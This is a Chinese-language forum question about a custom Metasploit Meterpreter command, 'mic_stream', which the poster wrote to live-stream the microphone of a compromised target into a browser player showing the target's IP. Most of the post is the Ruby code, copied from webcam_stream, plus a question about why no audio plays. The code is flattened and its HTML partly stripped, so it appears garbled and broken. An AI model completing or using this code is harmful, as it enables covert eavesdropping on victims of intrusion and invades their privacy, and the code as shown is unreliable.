使用metasploit进行音频流传输

我想在metasploit中创建麦克风音频流,比如webcam_stream,所以我在ruby脚本中添加了一些代码: (/ usr / share / metasploit-framework / lib / rex / post / meterpreter / ui / console / command_dispatcher / stdapi / webcam.rb ),添加的代码是:

def cmd_mic_stream(*args) print_status("Starting...") stream_path = Rex::Text.rand_text_alpha(8) + ".wav" player_path = Rex::Text.rand_text_alpha(8) + ".html" duration = 2 view = true timeout = 1800 record_mic_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], "-d" => [ true, "The stream duration in seconds (Default:2)" ], # 1/30 min "-s" => [ true, "The stream file path (Default: '#{stream_path}')" ], "-t" => [ true, "The stream player path (Default: #{player_path})"], "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ] ) record_mic_opts.parse(args) do |opt, _idx, val| case opt when "-h" print_line("Usage: record_mic [options]\n") print_line("Records audio from the default microphone.") print_line(record_mic_opts.usage) return when "-d" duration = val.to_i when "-s" stream_path = val when "-t" player_path = val when "-v" view = true if val =~ /^(f|n|0)/i end end print_status("Preparing player...") <!-- html = %|    Metasploit webcam_stream - #{client.sock.peerhost}  function updateStatus(msg) { var status = document.getElementById("status"); status.innerText = msg; } function noAudio() { document.getElementById("streamer").style = "display:none"; updateStatus("Waiting"); } var i = 0; function updateAudio() { var audio = document.getElementById("streamer"); audio.src = "#{stream_path}#" + i; audio.style = "display:"; updateStatus("Playing"); i++; audio.load(); audio.play(); } setInterval(function() { updateAudio(); },25);     

Error: You need Javascript enabled to watch the stream.

 Target IP : #{client.sock.peerhost} Start time : #{Time.now} Status :  

www.metasploit.com | --> ::File.open(player_path, 'wb') do |f| f.write(html) end if view print_status("Opening player at: #{player_path}") Rex::Compat.open_file(player_path) else print_status("Please open the player manually with a browser: #{player_path}") end print_status("Streaming...") begin ::Timeout.timeout(timeout) do while client do data = client.webcam.record_mic(duration) if data ::File.open(stream_path, 'wb') do |d| d.write(data) end data = nil sleep(5) end end end rescue ::Timeout::Error end print_status("Stopped") end

您可能会注意到它类似于webcam_stream命令,这里的问题是浏览器打开,状态输出“正在播放”,但音频没有播放任何内容,它只是空的可能导致了什么?